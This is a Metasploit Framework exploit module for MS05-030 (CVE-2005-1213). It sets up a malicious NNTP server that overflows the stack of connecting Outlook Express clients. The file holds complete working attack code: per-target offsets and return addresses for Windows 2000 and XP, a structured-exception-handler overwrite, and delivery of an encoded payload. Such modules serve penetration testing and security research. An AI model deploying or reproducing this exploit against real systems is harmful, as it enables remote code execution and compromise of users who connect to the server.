##
# $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the news reader of Microsoft
				Outlook Express.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-1213' ],
					[ 'OSVDB', '17306' ],
					[ 'BID', '13951' ],
					[ 'MSB', 'MS05-030' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
					['Windows XP English SP0/SP1',   { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 14 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
			], self.class)
	end

	def on_client_connect(client)
		yup = "200\r\n"

		client.put(yup)
		client.put(yup)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		filler =  "215 list\r\n" + "group "
		filler << rand_text_english(target['Offset'])
		seh    =  generate_seh_payload(target.ret)
		sploit =  filler + seh + " 1 y\r\n\.\r\n"

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)

		handler
		service.close_client(client)
	end

end
